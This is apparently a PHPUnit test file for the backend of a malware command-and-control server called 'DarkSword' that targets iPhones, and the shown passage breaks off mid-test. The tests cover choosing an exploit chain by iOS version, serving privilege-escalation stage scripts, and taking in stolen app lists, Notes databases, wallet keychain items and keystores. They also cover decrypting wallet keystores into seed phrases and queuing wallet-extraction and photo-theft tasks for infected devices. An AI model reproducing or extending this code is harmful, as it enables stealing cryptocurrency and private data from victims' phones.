Files
coruna-lab/tests/Feature/DarkSwordC2ApiTest.php
T
2026-09-21 02:45:04 +08:00

1731 lines
68 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsBeaconTask;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use App\Services\DsBeaconQueue;
use App\Services\EthKeystore;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Redis;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DarkSwordC2ApiTest extends TestCase
{
use RefreshDatabase;
private const DS_LHU = '69DD25B2-CA8B-5682-BA24-70D77124E2FC';
private const XXBB_D = '000C30D83CD0402E';
private const TEST_MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
protected function setUp(): void
{
parent::setUp();
// Clear Redis-based beacon queue keys between tests.
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
continue;
}
$stripped = array_map(fn ($k) => $prefix !== '' && str_starts_with($k, $prefix) ? substr($k, strlen($prefix)) : $k, $keys);
Redis::del(...$stripped);
}
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function log_post_returns_accepted(): void
{
$this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd'])
->assertOk()
->assertExactJson(['status' => 'accepted']);
$this->assertSame(0, DsChainLog::query()->count());
}
#[Test]
public function log_with_stage_skips_db(): void
{
$payload = [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'stage' => 'loader',
'progress' => 18,
'label' => 'loader',
'channelCode' => 'BODOZR5F613N9',
];
$this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']);
$this->postJson('/api/ds/log', $payload)->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function log_text_skips_db_even_when_stage_can_be_inferred(): void
{
$this->postJson('/api/ds/log', [
'text' => 'malloc ok 0x1234',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->postJson('/api/ds/log', [
'text' => 'pe_main_start',
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
])->assertOk();
$this->assertSame(0, DsChainLog::query()->count());
$this->assertSame(0, Device::query()->count());
}
#[Test]
public function next_chain_does_not_steal_ds_api_or_logs(): void
{
$this->getJson('/api/ds/chain-targets?ios=18.6')
->assertOk()
->assertJson([
'ok' => true,
'chain' => 'darksword',
])
->assertJsonPath('exfil.prefer_https', false)
->assertJsonPath('band.usable_for_attempt', true);
$this->withHeaders([
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
'X-Forwarded-Port' => '443',
])->getJson('/api/ds/chain-targets?ios=18.5')
->assertOk()
->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu')
->assertJsonPath('exfil.tls', true)
->assertJsonPath('exfil.prefer_https', true)
->assertJsonPath('exfil.https_port', 443);
$this->get('/api/ds/log?text=lab')
->assertOk()
->assertSee('ok', false);
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.1.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.4.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.1')
->assertOk()
->assertJsonPath('chain', 'darksword');
$this->getJson('/api/ds/chain-targets?ios=18.7.2')
->assertOk()
->assertJsonPath('chain', 'darksword');
foreach (['18.2', '18.5.1', '18.6.3', '18.7.3', '17.3'] as $ios) {
$this->getJson('/api/ds/chain-targets?ios='.$ios)
->assertOk()
->assertJsonPath('chain', 'coruna')
->assertJsonPath('recommended_worker', '')
->assertJsonPath('band.usable_for_attempt', false);
}
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
// /log.html is now a valid DarkSword log endpoint (maps to /api/ds/log).
$this->get('/log.html?text=lab')->assertOk();
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
$this->getJson('/next-chain/api/device/register')->assertNotFound();
$this->get('/next-chain/log.html?text=lab')->assertNotFound();
}
#[Test]
public function pe_stage_get_writes_file_log_and_chain_row(): void
{
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk()
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
->assertSee('__peStage1', false);
$this->assertSame(0, DsChainLog::query()->count());
Device::query()->create([
'device_id' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'album_storage' => true,
]);
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$row = DsChainLog::query()->first();
$this->assertNotNull($row);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $row->client_uid);
$this->assertSame('pe', $row->stage);
$this->assertSame(86, $row->progress);
$this->assertSame('pe_stage:s1_launchd', $row->label);
$this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE2-6CC4-A0DF-689E-AEA117557C3E')
->assertOk();
$this->assertSame(2, DsChainLog::query()->count());
$this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label);
$this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress);
$this->get('/api/ds/pe-stage/s2_keychain')
->assertOk()
->assertSee('__peStage2', false);
$this->assertSame(2, DsChainLog::query()->count());
}
#[Test]
public function plaintext_a_ingests_darksword_device(): void
{
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('iPhone15,2', $device->device_model);
$this->assertSame('18.6', $device->ios_version);
$this->assertSame('127.0.0.1', $device->ip);
$this->assertNull($device->channel_id);
}
#[Test]
public function plaintext_a_uses_cf_connecting_ip_not_body_ip(): void
{
$this->call('POST', '/a', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
'HTTP_CF_IPCOUNTRY' => 'JP',
], json_encode([
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'ip' => '192.168.31.77',
'source' => 'c2_agent',
], JSON_THROW_ON_ERROR))->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame('203.0.113.88', $device->ip);
$this->assertSame('JP', $device->country);
}
#[Test]
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => self::XXBB_D,
'f' => self::XXBB_D,
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$xxbb = Device::query()->where('device_id', self::XXBB_D)->first();
$this->assertNotNull($xxbb);
$this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain);
$this->postJson('/a', [
'lhu' => self::DS_LHU,
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
])->assertOk()->assertJson(['ok' => true]);
$ds = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($ds);
$this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain);
$this->assertSame(2, Device::query()->count());
}
#[Test]
public function register_accepts_query_style_channel_code(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channeICode' => '0.0.01',
'ios' => '18.6',
'chain' => 'darksword',
])->assertOk()->assertJson(['ok' => true]);
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('0.0.01', $visit->channel_id);
}
#[Test]
public function register_uses_channel_code_not_ver_header(): void
{
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'channelCode' => 'BODOZR5F613N9',
'ios' => '18.6',
'chain' => 'darksword',
], [
'ver' => '3.1.07',
'sdkv' => '3.1.07',
])->assertOk()->assertJson(['ok' => true]);
$this->assertNull(Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first());
$visit = PageVisit::query()->first();
$this->assertNotNull($visit);
$this->assertSame('50624FE2-6CC4-A0DF-689E-AEA117557C3E', $visit->client_uid);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain);
$this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain));
$this->assertSame('BODOZR5F613N9', $visit->channel_id);
$this->assertSame('iOS', $visit->os);
$this->assertSame('18.6', $visit->os_version);
$this->postJson('/a', [
'lhu' => '50624FE2-6CC4-A0DF-689E-AEA117557C3E',
'machine' => 'iPhone15,2',
'ios_version' => '18.6',
'source' => 'c2_agent',
])->assertOk();
$device = Device::query()->where('device_id', '50624FE2-6CC4-A0DF-689E-AEA117557C3E')->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame('BODOZR5F613N9', $device->channel_id);
$this->assertSame('18.6', $device->ios_version);
}
#[Test]
public function u_writes_device_apps_from_object_or_list(): void
{
$this->postJson('/u', [
'lhu' => self::DS_LHU,
'apps' => [
'0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'],
'1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'],
],
'count' => 2,
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
);
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
$this->assertTrue($device->fresh()->albumStorageEnabled());
}
#[Test]
public function nb_writes_notes_and_stores_sqlite_blob(): void
{
Storage::fake('local');
$sqlite = "SQLite format 3\0lab-notes";
$this->postJson('/nb', [
'lhu' => self::DS_LHU,
'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]],
'db_files' => [[
'name' => 'NoteStore.sqlite',
'data' => base64_encode($sqlite),
]],
'source' => 'c2_agent',
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertNotNull($note);
$this->assertSame('jdmdm', $note->content[0]['title'] ?? null);
Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite');
$this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'));
}
#[Test]
public function war_without_mnemonic_stores_keystore_only(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0));
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
}
#[Test]
public function war_skips_duplicate_keystore_content(): void
{
$payload = [
'lhu' => self::DS_LHU,
'source' => 'pe_war_guarantee',
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trust_wallet',
'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'),
]],
],
],
],
'sandbox' => [
'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}',
],
];
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
$this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertSame(2, $rows->count());
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
}
#[Test]
public function war_collapses_existing_duplicate_sandbox_rows(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$raw = [
'kind' => 'sandbox',
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
];
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
]);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
}
#[Test]
public function war_twelve_word_phrase_ingests_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
'sandbox' => [],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(self::TEST_MNEMONIC, $row->mnemonic);
$this->assertSame('Trust Wallet', $row->source);
}
#[Test]
public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void
{
Http::fake();
$utc = [
'crypto' => ['cipher' => 'aes-128-ctr'],
'activeAccounts' => [
['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60],
['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137],
['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195],
['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2],
['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0],
['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0],
],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk()->assertJson(['ok' => true]);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get();
$this->assertSame(4, $rows->count());
$this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all());
$this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet'));
$this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count());
$this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx'));
$this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x'));
}
#[Test]
public function war_class10_unwrap_failure_is_not_a_mnemonic(): void
{
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'class' => 10,
'layer3Error' => 'aks_unwrap kr=3758097090',
'dataHex' => bin2hex(self::TEST_MNEMONIC),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertSame('Trust Wallet', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void
{
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'account' => 'trustwalletUTC--demo',
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex($password),
]],
],
],
],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertSame('Trust Wallet', $mnemonic->source);
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
}
#[Test]
public function reprocess_unlocks_trust_utc_already_stored_on_device(): void
{
Http::fake();
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
$this->assertIsString($password);
$utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('cd', 32),
]);
$device = Device::query()->create([
'device_id' => 'reprocess-trust-utc',
'chain' => Device::CHAIN_DARKSWORD,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'keychain.wallets',
'wallets' => [
'trustwallet' => [
'items' => [[
'account' => 'trustwalletUTC--demo',
'dataHex' => bin2hex($password),
]],
],
],
],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
]);
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
}
#[Test]
public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$entropy = '00000000000000000000000000000000';
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitpie' => [
'count' => 2,
'items' => [
[
'account' => 'seedPhraseEntropy',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex(strtoupper($entropy)),
],
[
'account' => 'userAddressKey',
'service' => 'com.bitpie.wallet',
'dataHex' => bin2hex($trx),
],
],
],
],
],
'sandbox' => [
'bitpie' => [
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]'
),
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first();
$this->assertNotNull($mnemonic);
$this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $trx)
->where('source', 'Bitpie')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function war_duplicate_device_create_returns_existing(): void
{
// Simulate a race: the device already exists when /war tries to
// create it. The upsert should find the existing row and continue
// instead of crashing with a duplicate key error.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
],
])->assertOk()->assertJson(['ok' => true]);
// Same device row, not a duplicate.
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_duplicate_device_create_returns_existing(): void
{
// Same race condition test via /beacon endpoint.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk();
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// seed() pushes wallet_scan → wallet_extract (FIFO); photos is a
// LAST_ROUND_TYPE so it only lands on the final (3rd) round.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> wallet_scan (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_scan',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// wallet_extract is gated on the applist containing imToken. Seed it
// now (the device was created on the first beacon above).
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// After the 5s gap -> wallet_extract (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
// Within 5s again -> noop.
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// Round 1 consumed (no photos this round); next beacon replenishes
// round 2 -> wallet_scan again.
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Round 1 consumed (wallet_scan + wallet_extract); the 3rd beacon
// replenished round 2 and dispatched wallet_scan, leaving wallet_extract
// pending in the queue with 2 rounds remaining.
$queue = app(DsBeaconQueue::class);
$this->assertSame(1, $queue->queueLength($device));
$this->assertSame(2, $queue->roundsRemaining($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('photos')
->assertSee('wallet_scan')
->assertSee('wallet_extract');
}
#[Test]
public function beacon_throttles_same_ip_within_5s_gap(): void
{
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// First dispatch -> wallet_scan (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// wallet_extract is gated on the applist containing imToken. Seed it
// now (the device was created on the first beacon above).
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_extract (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$this->postJson('/result', [
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
// Completed task results are recorded as DeviceEvent (日志 tab).
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_extract', $events->first()->event_name);
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
// After a result + gap, round 1 is consumed and the next beacon
// replenishes round 2 -> wallet_scan (photos only lands on round 3).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
}
#[Test]
public function beacon_dispatches_fifo_from_redis_queue(): void
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// seed() only runs on new device creation; addTask() does not start default rounds.
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$queue = app(DsBeaconQueue::class);
// Add tasks in order: photos, photo_scan, wallet_scan.
$queue->addTask($device, 'photos');
$queue->addTask($device, 'photo_scan');
$queue->addTask($device, 'wallet_scan');
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
